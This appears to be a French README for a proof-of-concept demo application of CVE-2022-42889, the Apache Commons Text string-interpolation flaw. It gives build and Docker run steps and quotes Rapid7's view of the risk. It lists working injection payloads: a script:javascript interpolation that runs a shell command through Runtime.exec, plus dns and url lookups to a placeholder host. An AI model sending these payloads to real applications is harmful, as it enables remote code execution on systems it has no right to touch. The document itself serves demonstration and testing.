CVE-2022-42889-POC

Une application de démonstration simple qui montre comment exploiter la vulnérabilité CVE-2022-42889.
Utilise des services OOB (Out of Band) pour démontrer les préfixes dns et url.

JavaDocs pour l'interpolation de commons-text commons-text JavaDocs

Exemples d'interpolations

• script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
• dns ("${dns:address|HOST}")
• url ("${url:UTF-8:http://HOST")

Citation de Rapid7

La vulnérabilité a été comparée à Log4Shell car il s'agit d'une vulnérabilité au niveau d'une bibliothèque open source qui est susceptible d'affecter une grande variété d'applications logicielles utilisant l'objet concerné.
Cependant, l'analyse initiale indique qu'il s'agit d'une mauvaise comparaison. La nature de la vulnérabilité signifie que, contrairement à Log4Shell, il sera rare qu'une application utilise le composant vulnérable de Commons Text pour traiter des entrées non fiables et potentiellement malveillantes.

Prérequis

• docker
• java
• maven

Java et maven peuvent être ignorés si l'on récupère l'image depuis Docker Hub

Utilisation

Compiler l'application

mvn clean package

Construire l'image docker

docker build -t cve-2022-42889-poc .

Exécuter l'image docker

docker run --rm -p 8081:8081 -t cve-2022-42889-poc